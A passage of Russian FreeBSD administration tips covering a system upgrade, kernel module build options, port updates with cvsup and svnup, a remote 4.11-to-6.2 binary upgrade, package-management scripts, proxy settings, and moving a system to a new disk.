       rm -f /etc/rc.d/ramdisk-own /etc/rc.d/usbd
       make etc
       make clean
    
    Перезагружаем машину
       shutdown -r now
    
    Продолжаем чистку хвостов:
       cd /; exec `/usr/bin/which bash sh | head -1`
       PATH=/bin:/usr/bin:/sbin:/usr/sbin; umask 022; unset TMOUT
    
    Ищем что можно удалить:
       ( for dir in /bin /sbin /usr/bin /usr/sbin /usr/libexec /usr/libdata; do \
          find $dir -mtime +2 -type f -xdev -print; \
          find $dir -mtime +2 -type l -xdev -print; \
          done ) >/tmp/remove
      
    Смотрим что будем удалять, внимательно анализируем /tmp/remove
    Удаляем:
       cat /tmp/remove | xargs rm -f
    
    Ищем что нужно переместить:
       ( for dir in /lib /usr/lib; do \
          find $dir -mtime +2 -type f -xdev -print; \
          find $dir -mtime +2 -type l -xdev -print; \
          done ) | grep -v /usr/lib/compat >/tmp/move
    
    Смотрим что будем перемещать, внимательно анализируем /tmp/move
       for x in `cat /tmp/move`; do chflags noschg $x; mv $x /usr/lib/compat/; done
    
    Подчищаем системы после сборки:
       cd /usr/src; make BATCH_DELETE_OLD_FILES=YES delete-old delete-old-libs
    
    Окончатально перезагружаемся в FreeBSD 7.0
       shutdown -r now
    
    Пересобираем установленные дополнительные приложения, 
    так как они могут ссылаться на старые библиотеки.
       portupgrade -faP
    
     
    ----* Компилирование модулей ядра FreeBSD (доп. ссылка 1)   Автор: mr.tacitus  [обсудить]
     
    Практически любой системный администратор, который сталкивался с FreeBSD, 
    компилировал ядро под себя, выбрасывая оттуда лишние "детали" или вставляя недостающие. 
    Между тем выброшенная из ядра "деталька" никуда не девается и при повторной компиляции 
    превращается в модуль (за редким исключением), который всегда можно подгрузить.
    
    Бороться с этим можно с помощью опций в файле make.conf:
    
       # не компилировать все модули
       NO_MODULES="YES"
       # компилировать только указанные модули
       # названия модулей пишутся через пробел
       MODULES_OVERRIDE=acpi ipfw
       # компилировать все модули, за исключением указанных
       WITHOUT_MODULES=pf ntfs_iconv
    
     
    ----* Обновление портов во FreeBSD (доп. ссылка 1)   Автор: Roman Sozinov  [комментарии]
     
    Прежде чем что-либо делать с портами в FreeBSD их необходимо обновить:
    
       # cat >> /etc/make.conf
       SUP_UPDATE=yes
       SUP=/usr/local/bin/cvsup
       SUPFLAGS=-g -L 2
       SUPHOST=cvsup.uk.FreeBSD.org
       SUPFILE=/usr/share/examples/cvsup/standard-supfile
       PORTSSUPFILE=/usr/share/examples/cvsup/ports-supfile
       DOCSUPFILE=/usr/share/examples/cvsup/doc-supfile
       Ctrl + D
    
       # cd /usr/ports
       # make update
    
    Найти в портах (/usr/ports) порт portupgrade (/usr/ports/ports-mgmt/portupgrade), установить его
    
       cd /usr/ports/ports-mgmt/portupgrade
       make && make install
    
    После этого можно с помощью утилиты portupgrade уже возможно обновлять 
    установленные порты (ключ -R говорит о том, что нужно обновить не только порт,
    но и все его зависимости)
    
       portupgrade -R имя_порта
    
    Чтобы узнать список портов, нуждающихся в обновлении, существует команда
    
       pkg_version -v
    
    Для наведения порядка (удаление неиспользуемых портов, дубликатов версий) 
    в реестре установленных портов (/var/db/pkg) можно воспользоваться командой
    
       pkgdb -F
    
    
    Ссылки:
       1. "Системный администратор" (2007.01)
       2. Очистка портов во FreeBSD 
           http://www.opennet.ru/base/sys/cleaning_up_ports.txt.html
       3. portupgrade - `обновлялка` установленных портов 
           http://www.lissyara.su/?id=1153
    
    
    Дополнение: C 2012 года проект FreeBSD перешёл на использование Subversion.
    Вместо cvsup следует использовать svnup (или freebsd-update для системы,
    portsnap/pkg для портов):
    
       cd /usr/ports/net/svnup && make install
       svnup stable -h svn0.us-west.freebsd.org 
       svnup ports -h svn0.us-west.freebsd.org 
    
    Настройки можно найти в файле /usr/local/etc/svnup.conf
    
     
    ----* Удаленное бинарное обновление FreeBSD 4.11 до 6.2-RELEASE (доп. ссылка 1)   Автор: Eugene Grosbein  [комментарии]
     
    Удаленное бинарное обновление 4.11 до 6.2-RELEASE,
    без доступа с консоли с двумя перезагрузками и
    минимальным downtime, безопасное настолько, насколько
    это возможно при обновлении "по месту".
    
    Требуется доступность первого инсталляционного CD
    из дистрибутива 6.2-RELEASE, либо нужно будет
    скачать с десяток мегабайт из него для пункта 3 ниже.
    
    1. Подготовить новое содержимое для /boot
    
    Скопировать с дистрибутивного CD 6.2-RELEASE
    каталог boot в /boot6, loader.conf оставить старый
    (если дистрибутив машине недоступен, сначала скачать
    /boot с него по сети в каталог /cdrom/boot):
    
    cd /
    CDROM=/cdrom
    cp -r $CDROM/boot boot6
    cd boot6
    mv loader.conf loader.conf6
    cp ../boot/loader.conf . || true
    mv kernel kernel6
    mkdir kernel
    ln ../kernel kernel
    
    2. Меняем местами старый и новый loader:
    
    cd ..
    mv boot boot4
    mv boot6 boot
    
    Теперь у нас новый loader, который грузит старое ядро
    из файла /boot/kernel/kernel (это хардлинк на /kernel),
    и старые модули из /modules. Система пока работает по-старому,
    при перезагрузке ничего не поломается.
    
    3. Подготовка mfsroot.
    
    Если дистрибутива на четверке нет, этот пункт можно полностью
    выполнять на другой машине, и готовый mfsroot.gz (5.5Mb)
    потом скачать в /boot/mfsroot.gz. Если выполняется на свежей
    FreeBSD, заменить vnconfig на mdconfig и disklabel
    на bsdlabel (убрать слово auto):
    
    TMPDIR=/var/tmp # можно и другое место
    cd $TMPDIR
    
    # быстрый и простой способ требует mfsroot на 14Mb
    # создаём файл образа на основе такого же
    # из дистрибутива
    dd if=/dev/zero of=mfsroot bs=1m count=14
    dev=vn0c
    vnconfig -c -s labels $dev mfsroot
    disklabel -w -B -b $CDROM/boot/boot $dev auto
    newfs -m 0 -o space -b 4096 -f 512 $dev
    
    # Монтируем оригинальный и новый mfsroot
    mkdir /mnt/omfs /mnt/mfs
    gzcat $CDROM/boot/mfsroot.gz > mfsroot.orig
    odev=vn1c
    vnconfig -c -s labels $odev mfsroot.orig
    mount -o ro /dev/$odev /mnt/omfs
    mount /dev/$dev /mnt/mfs
    
    # Для начала копируем оригинальный в новый
    cd /mnt/omfs
    tar -cf - * | tar -C /mnt/mfs -xf -
    
    # Оригинальный mfsroot больше не нужен
    cd /mnt/mfs
    umount /mnt/omfs
    vnconfig -d $odev
    rm $TMPDIR/mfsroot.orig
    
    # Затачиваем новый mfsroot под неинтерактивную загрузку
    rm -r etc bin sbin var stand/etc stand/help
    ln -s stand bin
    ln -s stand sbin
    mkdir -p tmp
    
    # В тестовой системе /usr и /var - отдельные от рута fs,
    # при промежуточной загрузке будут смонтированы так:
    # /mnt          - рут
    # /mnt/usr      - /usr
    # /mnt/var      - /var
    # Таким образом, chroot /mnt при желании
    # после загрузки даст нам оригинальный расклад
    # и позволит воспользоваться новым sysinstall-ом
    ln -s mnt/usr usr
    ln -s mnt/var var
    
    # Hовые бинарники используются новым ядром
    # при загрузке с md0
    cd $CDROM
    # игнорировать ошибки касательно "File exists"
    tar cf - bin etc lib libexec sbin | tar -C /mnt/mfs -xkf -
    
    # Минимально необходимый набор файлов со старой системы для успешного
    удаленного
    # входа в систему; nsswitch.conf берем с новой системы
    cd /etc
    cp -rp fstab host.conf rc.conf ssh passwd group master.passwd pwd.db spwd.db
    /mnt/mfs/etc
    cat <<EON > /mnt/mfs/etc/nsswitch.conf 
    group: files
    hosts: files dns
    networks: files
    passwd: files
    shells: files
    EON
    
    Теперь нужно привести /mnt/mfs/etc/fstab к примерно следующему виду:
    # Device                Mountpoint      FStype  Options         Dump    Pass#
    /dev/md0                /               ufs     rw              1       1
    /dev/ad0s1b             none            swap    sw              0       0
    /dev/ad0s1a             /mnt            ufs     rw              2       2
    /dev/ad0s1f             /mnt/usr        ufs     rw              2       2
    /dev/ad0s1e             /mnt/var        ufs     rw              2       2
    
    Первая строка обязательно такая, остальные - из оригинального fstab,
    точку монтирования для рута заменяем на /mnt,
    /usr и /var тоже смещаем внутрь /mnt, остальные файловые системы
    (если есть) намеренно не упоминаем.
    
    В /mnt/mfs/etc/fstab желательно отключить все сервисы, кроме
    sshd и каналообразующих (учитывать, что грузиться будет GENERIC),
    что-то типа этого:
    
    ifconfig_rl0="inet x.x.x.x netmask 255.255.255.0"
    hostname="host.domain.ru"
    sendmail_enable="NONE"
    firewall_enable="NO"
    inetd_enable="NO"
    sshd_enable="YES"
    fsck_y_enable="YES"
    background_fsck="NO"
    # EOF
    
    Закрываем и запаковываем mfsroot:
    
    cd $TMPDIR
    umount /mnt/mfs
    vnconfig -d $dev
    gzip -1 < mfsroot > /boot/mfsroot.gz
    
    4. Подгрузка полученного mfsroot:
    
    cd /boot
    cat loader.conf6 >> loader.conf
    
    Это добавляет в loader.conf следующие команды:
    
    mfsroot_load="YES"                                                            
    
    mfsroot_type="mfs_root"                                                        
    
    mfsroot_name="/boot/mfsroot"
    
    Hа работу четвертой версии не влияет никак, пока по-прежнему
    используется старая корневая файловая система, только увеличивается
    размер оперативной памяти, зарезервированной ядром. Hа машине с 48M памяти
    изменение составило те самые 14M, avail memory вместо 44316K стала 30140K.
    
    5. Решающий момент. Для загрузки нового ядра с новым рутом посредством
    nextboot:
    
    cat <<EOF > nextboot.conf
    nextboot_enable="YES"
    kernel="kernel6"
    vfs.root.mountfrom="ufs:md0"
    EOF
    
    Если новое ядро, скажем, зависнет на этапе определения оборудования
    до перехода в multiuser, достаточно дернуть питание и машина
    загрузит старое ядро и четвертую версию и у вас есть возможность
    спокойно разобраться, система тем временем работает. При следующей
    попытке этот пункт нужно повторить, nextboot.conf будет удалён
    при перезагрузке.
    
    При использовании cut-n-paste команд из этого пункта проверьте,
    что в конце строк nextboot.conf нет лишних пробелов - загрузчик
    этого не любит и может проигнорировать конфигурацию nextboot.
    
    Перезагружаемся!
    
    6. При успешной загрузке запускается старый /usr/sbin/sshd,
    через него заходим в систему. Авторизация через keyboard-interactive
    не срабатывает, зато срабатывает через password, то есть в систему
    пустит после четвертой попытки набора пароля. Эту косметическую
    проблему править не стал, всё равно на это один только раз
    наталкиваемся.
    
    Переименовываем /mnt/stand в /mnt/stand4,
    создаём новый /mnt/stand, копируем /stand/sysinstall в
    /mnt/stand/sysinstall, делаем chroot /mnt.
    
    7. Это - точка, после которой нет возврата, кроме восстановления
    из бекапа с консоли. Сейчас пока можно ещё перегрузиться обратно
    в четверку и работать по-старому. Дальше уже нет.
    
    # если не сделать этой правки loader.conf, система не поднимется
    echo 'kernel="GENERIC"' >> /boot/loader.conf
    /stand/sysinstall
    
    Выбираем Upgrade. Я делал бинарное обновление по FTP,
    из дистрибьюшнов ставил только base и kernels (меню Custom).
    Во время обновления в терминал выдавалось куча мусора от распаковщика,
    но это косметическое неудобство. Апгрейд прошел совершенно
    гладко, система перезагрузилась уже в шестерку с винта
    и доступна (теперь уже через свежий) sshd.
    
    Убираем строки mfsroot_* из /boot/loader.conf
    Hе забываем разгрести /etc/upgrade или сделать
    обновление из исходников, mergemaster позаботится о /etc.
    В любом случае перезагружаемся опять, теперь уже
    это будет не из mfsroot. 
    
     
    ----* Скрипт деинсталляции пакетов во FreeBSD вместе с зависимостями.   Автор: Artem A. Kolpakov   [комментарии]
     
    #!/usr/bin/perl
    #
    # Interactive script for deinstalling 'leaf' FreeBSD packages.
    #
    # Copyright (c) 2007 Artem A. Kolpakov <artem.kolpakov at gmail.com>
    #
    # All rights reserved.
    #
    # Redistribution and use in source and binary forms, with or without
    # modification, are permitted provided that the following conditions
    # are met:
    # 1. Redistributions of source code must retain the above copyright
    #    notice, this list of conditions and the following disclaimer.
    # 2. Redistributions in binary form must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer in the
    #    documentation and/or other materials provided with the distribution.
    #
    # THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
    # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
    # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
    # ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
    # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
    # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
    # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
    # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
    # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
    # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
    # SUCH DAMAGE.
    
    $dbdir="/var/db/pkg";
    
    die "Usage: pkg_deinstall.pl \'package_name\' or \'$dbdir/package_name\'.\n" if(!defined($ARGV[0]));
    $pkg=$ARGV[0];
        
    if(map /$dbdir/, $pkg) {
        $pkg=~/$dbdir\/(\S+[^\/])/; $pkg=$1;
    }
    die "$pkg is not installed!\n" if((!map /\S+\d/, $pkg)||(!-e "$dbdir/$pkg"));
     
    if(-w $dbdir) { $rw=1; } else { $rw=0; }
    if(-s "$dbdir/$pkg/+REQUIRED_BY") {
        open(REQ, "$dbdir/$pkg/+REQUIRED_BY");
        while(<REQ>) { print "Found required dependence: $_"; $req_sum++; }
        close(REQ);
    }
    die "Required dependencies: $req_sum.  Remove is impossible.\n" if($req_sum);
    
    open(DEP, "$dbdir/$pkg/+CONTENTS");
    while(<DEP>) {
        if(/\@pkgdep\s(\S+)\n/) {
            $pkg_depends{$1}=1; print "Dependence: $1\n";
        }
    }
    close(DEP);
    
    die "You have not privilegies to complete operation.\n" if(!$rw);
    
    $dep_sum=(keys %pkg_depends);
    if($dep_sum) {
        print "Total dependencies: $dep_sum. Removing package.\n";
    }
    else {
        system "pkg_delete $pkg";
        die "The package has been removed.\n";
    }
    system "pkg_delete $pkg";
    print "Done, processing...\n";
    while(scalar(keys %pkg_depends)) {
        $level++;
        if($level > 1) {
            for $pkg_depends (keys %pkg_depends) {
                if($pkg_depends{$pkg_depends} == $level-1) {
                    if(-e "$dbdir/$pkg_depends/+CONTENTS") {
                        open(DEP, "$dbdir/$pkg_depends/+CONTENTS");
                        while(<DEP>) {
                            if(/\@pkgdep\s(\S+)\n/) {
                                $pkg_depends{$1}=$level;
                            }
                        }
                        close(DEP);
                        open(COMMENT, "$dbdir/$pkg_depends/+COMMENT");
                        chomp($comment=<COMMENT>); close(COMMENT);
                        dialog:
                        print "Are you sure want to remove \'$pkg_depends\'? \- \'$comment\' [Y/n]: ";
                        chomp($in=<STDIN>);
                        if(($in eq "y")||($in eq "Y")||($in eq '')) {
                            system "pkg_delete $pkg_depends";
                            delete $pkg_depends{$pkg_depends}; $rm_dep_sum++;
                        }
                        elsif(($in eq "n")||($in eq "N")) {
                            delete $pkg_depends{$pkg_depends};
                        }
                        else { goto dialog; }
                    }
                    else {
                        delete $pkg_depends{$pkg_depends};
                    }
                }
            }
        }
        for $pkg_depends (keys %pkg_depends) {
            if($pkg_depends{$pkg_depends} == $level) {
                if(-s "$dbdir/$pkg_depends/+REQUIRED_BY") {
                    delete $pkg_depends{$pkg_depends};
                }
            }
        }
    }
    if($rm_dep_sum) {
        print "Removed $rm_dep_sum dependencies.\n";
    }
    else { print "No dependencies removed.\n"; }
    
     
    ----* Настройка выхода через прокси утилиты fetch во FreeBSD   Автор: Roman Y. Bogdanov  [комментарии]
     
    В /etc/make.conf добавляем:
    
       FETCH_ENV=FTP_PROXY=ftp://имя:пароль@IP_прокси:порт_прокси
       FETCH_ENV=HTTP_PROXY=http://имя:пароль@IP_прокси:порт_прокси
    
    Дополнительно, вместо fetch можно прописать и другую утилиту для загрузки или
    поменять параметры запуска. В /etc/make.conf:
    
       FETCH_CMD=/usr/bin/fetch -ARrvp -T 10 
    
    
    Или просто перед запуском fetch устанавливаем переменные окружения shell:
       setenv HTTP_PROXY http://user:pass@10.20.30.40:3128
       setenv FTP_PROXY http://40.30.20.10:8080
    
     
    ----* Работа cvsup и csup через proxy   Автор: st_serg  [комментарии]
     
    Использования nc (netcat) в качестве прокси для cvsup и csup.
    
    rc.conf:
       inetd_enable="YES"
    
    inetd.conf:
       cvsup stream tcp nowait root /usr/bin/nc nc -xA.B.C.D:8080 -Xconnect cvsup2.ru.freebsd.org 5999
    
    supfile:
       *default host=127.0.0.1
    
     
    ----* Запуск стартовых скриптов из портов FreeBSD без изменения /etc/rc.conf   Автор: Svinka  [комментарии]
     
    Для запуска/остановки сервиса с помощью стартового скрипта вручную
     без внесения записи в /etc/rc.conf найдено такое решение (FreeBSD 6.*, csh):
    
       env samba_enable=YES /usr/local/etc/rc.d/samba start
       env samba_enable=YES /usr/local/etc/rc.d/samba stop
    
     
    ----* Автоматизация создания скомпилированных пэкаджей во FreeBSD   Автор: Eugene Pankratov  [комментарии]
     
    #!/bin/sh
    #
    # pkgmake
    # Create package by name or full installed tree
    # Version: 1.0b
    # Copyright (c) 2007 Eugene Pankratov
    
    pkg_path="/usr/ports/packages/All"
    pkg_cmd="pkg_create -yb"
    
    usage()
    {
        echo ""
        echo "Usage: `basename $0` <pkg_name>|--all"
        echo ""
        echo "Example: `basename $0` kdebase_3.5.5_3"
        echo "         `basename $0` --all"
        exit 1
    }
    
    do_package()
    {
    pkg_name=$1
    pkg_file=${pkg_name}.tbz
    
        if [ ! -f ${pkg_path}/${pkg_file} ]; then
            echo -n "Creating package '${pkg_name}'... "
            ${pkg_cmd} ${pkg_name}
            echo "Done."
        else
            echo "Package ${pkg_file} already exists. Skiping"
        fi
    }
    
    do_all()
    {
        echo "Creating all installed packages"
        for i in `pkg_info | awk '{ print $1 }'`
        do
            do_package ${i}
        done
    }
    
    main()
    {
        if [ "$1" = "" ]; then usage
        else
            cd ${pkg_path}
            if [ "$1" = "--all" ]; then
                do_all
            else
                do_package $1
            fi
        fi
    
    }
    
    main $1
    
    exit 0
    
     
    ----* Скрипт для создания всех пакетов, требуемых по зависимостям, для порта в ОС FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    По сути, выполняет действия, аналогичные pkg_create с ключём -R, который
    появился только в FreeBSD 6.x.
    Однако данный скрипт позволяет указывать короткое имя порта и каталог, 
    в котором создавать пакеты. А главное, он работает и на тех системах, 
    где pkg_create не поддерживает ключ -R.
    
    #!/bin/sh
    #
    # pkg_depend
    # Create all packages (with dependence) needed by some port for FreeBSD 5.x+
    #
    # Version: 1.4
    # Copyright (c) 2005,2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
     
    # Path to packages directory
    pkgpath="/usr/ports/packages/All"
     
    # Command for get package's version
    pkgvercmd="pkg_version -v"
    #pkgvercmd="portversion -v"              # more faster than pkg_version
     
    getdepend()
    {
        [ ! -d $2 ] && echo -n "Creating directory ($2)..." && mkdir -p $2 && echo "Done."
     
        cd ${pkgpath}
        if [ ! -f ${pkgpath}/$1.tbz ]; then
            echo -n "Creating package ($1)..."
            pkg_create -yb $1
            echo "Done."
        fi
     
        echo -n "Copying package ($1)..."
        cp -f ${pkgpath}/$1.tbz $2
        echo "Done."
     
        for LINE in `pkg_info -r $1 | grep Dependency\: | awk '{print $2}'`
        do
            if [ ! -f ${pkgpath}/${LINE}.tbz ]; then
                echo -n "Creating package (${LINE})..."
                pkg_create -yb ${LINE}
                echo "Done."
            fi
            echo -n "Copying package (${LINE})..."
            cp -f ${pkgpath}/${LINE}.tbz $2
            echo "Done."
        done
    }
     
    gethelp()
    {
        echo ""
        echo "Usage: `basename $0` <Full/Short pkg_name> <Directory>"
        echo ""
        echo "If specify short package name script will get first find entry"
        echo ""
        echo "Example: `basename $0` dia-gnome-0.94_4,1 /tmp/pkg/"
        echo "         `basename $0` dia-gnome /tmp/pkg/"
        echo ""
        exit 1
    }
     
    main()
    {
    if [ "$2" = "" ]; then gethelp
     else
        echo -n "Checking package name ($1)..."
        if [ "`echo $1 | grep '\-[0-9]'`" = "" ]; then
            pkgname=`${pkgvercmd} | grep -E '^'$1'-[0-9].*' | awk '{print $1}' | head -1`
        else
            pkgname=`${pkgvercmd} | grep $1 | awk '{print $1}' | head -1`
        fi
        echo "Done."
     
        if [ "${pkgname}" = "" ]; then
            echo "Package '$1' not found! Exit."
            exit 2
        else
            getdepend ${pkgname} $2
        fi
    fi
    }
     
    main $1 $2
     
    exit 0
    
     
    ----* Скрипт для автоматизации создания бинарных пакетов для FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # Create all packages with sym-links for FreeBSD 5.x+
    #
    # Version: 1.2.2
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
    # All error in  /var/log/<script_name>.err
    #
    
    # Path to packages directory
    packagespath="/usr/ports/packages"
    
    # Command for get package's version
    pkgvercmd="/usr/sbin/pkg_version -v"
    #pkgvercmd="/usr/local/sbin/portversion -v"	# more faster than pkg_version
    
    #-------------------------------------------------------------------------------
    
    err="\033[0;40;31mError\033[0m"
    ok="\033[1;40;33mOk\033[0m"
    
    
    checkPackagesPath ()
    {
        [ -d $packagespath ] || { /usr/bin/printf " *** $err: $packagespath doesn't exist.\n"; 
    			      /bin/echo " *** Error: $packagespath doesn't exist." > /var/log/`basename $0`.log; 
    			      exit 1; }
        [ -d $packagespath/All ] || { /bin/mkdir $packagespath/All || exit 1; }
        [ -d $packagespath/Latest ] || { /bin/mkdir $packagespath/Latest || exit 1; }
        return 0
    }
    
    checkPkgAll ()
    {
        [ -f $packagespath/All/$fullname.tbz ] && return 0
        return 1
    }
    
    checkPkgLatest ()
    {
        [ -L $packagespath/Latest/$shortname.tbz ] && [ -r $packagespath/Latest/$shortname.tbz ] && return 0
        return 1
    }
    
    checkPkgCat ()
    {
        [ -L $packagespath/$subdir/$fullname.tbz ] && [ -r $packagespath/$subdir/$fullname.tbz ] && return 0
        return 1
    }
    
    createPkgAll ()
    {
        /usr/sbin/pkg_create -jb $fullname $packagespath/All/$fullname.tbz && return 0
        return 1
    }
    
    createPkgLatest ()
    {
        /bin/rm -f $packagespath/Latest/$shortname.tbz
        cd $packagespath/Latest && /bin/ln -s ../All/$fullname.tbz $shortname.tbz && return 0
        return 1
    }
    
    createPkgCat ()
    {
        if [ -d $packagespath/$subdir ]; then
    	/bin/rm -f $packagespath/$subdir/$fullname.tbz
        else
    	/bin/mkdir -p $packagespath/$subdir
        fi
    
        cd $packagespath/$subdir && /bin/ln -s ../All/$fullname.tbz $fullname.tbz && return 0
        return 1
    }
    
    getPkgFullVersion ()
    {
        echo -n "Geting full version package list..."
        pkglist=`$pkgvercmd | /usr/bin/awk '{print $1}'`
        /usr/bin/printf "$ok\n"
    }
    
    work ()
    {
     for fullname in $pkglist; do
        /bin/echo "Check $fullname"
    
        shortname=`/bin/echo $fullname | /usr/bin/sed 's/\-[^-]*$//'`
        subdir=`/usr/sbin/pkg_info -o $fullname | /usr/bin/sed -e '1,3d' -e '$d' | /usr/bin/awk -F/ '{print $1}'`
    
        if ! checkPkgAll; then
    	/bin/echo -n " ==> Create package..."
    	if createPkgAll; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	continue
        fi
    
        if ! checkPkgLatest; then  
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
    
        if ! checkPkgCat; then  
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
     done
    }
    
    main ()
    {
        exec 2>/var/log/`basename $0`.log
    
        checkPackagesPath
        getPkgFullVersion
        work
    
        exec 2>&-
    }
    
    main
    
    exit 0
    
     
    ----* Создаем из 2х установочных CD с FreeBSD 5.4 - один DVD. (доп. ссылка 1)   Автор: JackSoft  [комментарии]
     Вот тут надоело шаманство со сменой СD при инсталляции очередной FreeBSD 5.4 и было решено создать инсталляционный DVD - быстро и все в одном. Сразу оговорюсь - все манипуляции с ISO-образами проводились с помощью UltaISO 7.2.3.906.

    Все началось с того что я сравнил файлы INDEX в папках /packages на обоих CD и нашел их полную идентичность. Позже, изучив их содержимое, определил что за номер диска на котором находится установочный пакет отвечает последняя цифра в строке, которую честно поменял на 1.

    После чего все файлы с CD 2 (кроме cdrom.inf) были полностью перенесены в ISO образ CD 1 и в /packages записан патченный (см. выше) файл INDEX. Записываем ISO и получаем то что нам нужно - инсталяционный DVD.

    Я пошел дальше. С папки /5.4-STABLE-SNAP006/ports (я на этом снепшопе делал) достал архив (tar/gz) ports.tgz, распаковал его и в директорию /ports/distfiles закинул последние скачанные порты (кидал самое необходимое при установке без доступа в Инет - например, Midnight Commander), опять сжал архив и положил его на место в ISO-образе. Теперь порты распаковываются при установке вместе с моими distfiles...

     
    ----* Перенос системы FreeBSD на новый жёсткий диск. (доп. ссылка 1)   Автор: LM  [комментарии]
     
    По ссылке приведён удачный метод переноса FreeBSD на новый жёсткий диск произвольного размера.
    
    Вкратце это делается так:
    
    1. Подключаем новый жёсткий диск в систему с FreeBSD (/dev/ad1s1)
    
    2. С помощью /stand/sysinstall разбиваем новый диск на разделы так же как это сделано на старом. 
    То есть чтобы /dev/ad0s1a соответствовал /dev/ad1s1a - размер /dev/ad1s1a может
    быть большем чем на /dev/ad0s1a.
    
    3. Создаём временные папку и подпапки:
       mkdir /backup
       mkdir /backup/root
       mkdir /backup/usr
       mkdir /backup/var
       mkdir /backup/tmp
    
    4. Загружаемся в single user
    
    5. Монтируем разделы:
    
    при sysinstall иногда дополнительно требуется:
    
      newfs /dev/da1s1e # Повторяем этот шаг для всех созданных разделов.
    
       mount /dev/ad1s1a /backup/root
       mount /dev/ad1s1e /backup/var
       mount /dev/ad1s1f /backup/usr
       (тут указываем свои)
    
    6. Переносим систему:
    
       ( dump -0f - / ) | ( cd /backup/root ; restore -rf - )
       ( dump -0f - /var ) | ( cd /backup/var ; restore -rf - )
       ( dump -0f - /usr ) | ( cd /backup/usr ; restore -rf - )
    
    7. Размонтируем
       umount /backup/root
       umount /backup/var
       umount /backup/usr
    
    8. Включаем Soft Updates
       tunefs -n enable /dev/ad1s1a
       tunefs -n enable /dev/ad1s1e
       tunefs -n enable /dev/ad1s1f 
    
    Всё теперь можно с чистой совестью убрать из системы старый жёсткий диск, а на
    его место поставить новый.
    
     
    ----* Как создать INDEX файл после обновления коллекции портов в последних версиях FreeBSD   [комментарии]
     
    Скачать индексный файл:
       cd /usr/ports
       make fetchindex
    
    Или сгенерировать с нуля:
       make index (работает очень долго).
    
     
    ----* Сборка FreeBSD портов другой версией GCC   [комментарии]
     
    Во FreeBSD 5.3 используется GCC-3.4.2, некоторые программы в портах в связи с
    этим перестали нормально собираться.
    В некоторых портах появились соответсвующие записи:
         BROKEN="Does not compile with gcc 3.4.2"
    
    Для решения проблемы можно попробовать откомпилировать другой версией gcc, 
    например,  lang/gcc295. Исправить Makefile, закомментировав BROCKEN и устанавливать:
         csh:  # setenv CC /usr/local/bin/gcc295 && make install clean
         bash: # export CC=/usr/local/bin/gcc295 && make install clean
    
     
    ----* Особенности установки Tomcat 5.0 под FreeBSD 5.2   Автор: Александр Елисеенко  [комментарии]
     
    Итак, при построении jdk 1.4.2 из портов необходимо иметь разрешение
    эмуляции Linux в ядре и монтированную файловую систему linprocfs.
    Для этого в файле /etc/rc.conf необходимо указать
        #  linux_enable="YES"
    
    а в файле /etc/fstab
        #  linprocfs  /compat/linux/proc linprocfs rw 0 0
    
    По завершении установки необходимо установить переменную окружения 
    JAVA_HOME, которая указывает на каталог с установленным jdk
    Соответственно, в файле .cshrc необходимо добавить
        #  setenv JAVA_HOME /usr/local/jdk1.4.2
    
    а в файле .profile
        #  export JAVA_HOME=/usr/local/jdk1.4.2
    
    Установка Tomcat 5.0 из портов проблем не вызвала, но запуск программы
    постоянно срывался. Изучение логов показало, что Tomcat пытался 
    работать с протоколом IPv6, который не был установлен в моей системе. 
    
    В соответствии с рекомендацией, данной в логах, делаем запрет на IPv6
        #  sysctl net.inet6.ip6.v6only=0
    
    теперь все работает.
    
    Как вариант, можно внести соответствующие изменения в catalina.sh
    и сделать запуск java с ключем -Djava.net.preferIPv4Stack=true,
    но через sysctl мне показалось проще.
    
     
    ----* Как осуществить разбивку диска в FreeBSD   Автор: lavr  [комментарии]
     
    Создать freebsd слайс и прописать стандартный загрузчик:
        fdisk -BI -v -b /boot/mbr ad0
        disklabel -w -r -B -b /boot/boot1 -s /boot/boot2 ad0s1 auto
        или проще disklabel -w -B ad0s1 auto
    Затем руками отредактировать разбивку:
       disklabel -e -r ad0s1 с нужными размерами
    newfs , затем "tunefs -n enable раздел" если нужно softupdate
    
     
    ----* Почему после обновления FreeBSD 4.x некоторые программы перестали запускаться   [обсудить]
     
    Например для устранения ошибки: 
       /usr/libexec/ld-elf.so.1: /usr/lib/libm.so.2: Undefined symbol: "__stderrp"
    В /etc/make.conf добавьте
       COMPAT3X=YES
       COMPAT4X=YES
    cd /usr/src/lib/compat
    make && make install
    
     
    ----* Очистка /usr/ports/distfiles от файлов со старыми версиями (доп. ссылка 1)   Автор: awk  [комментарии]
     
    По ссылке можно найти скрипт, который просматривает список установленных портов 
    и их зависимостей, очищает distfiles от старых версий, оставшихся после
    обновления портов и запуска portupgrade.
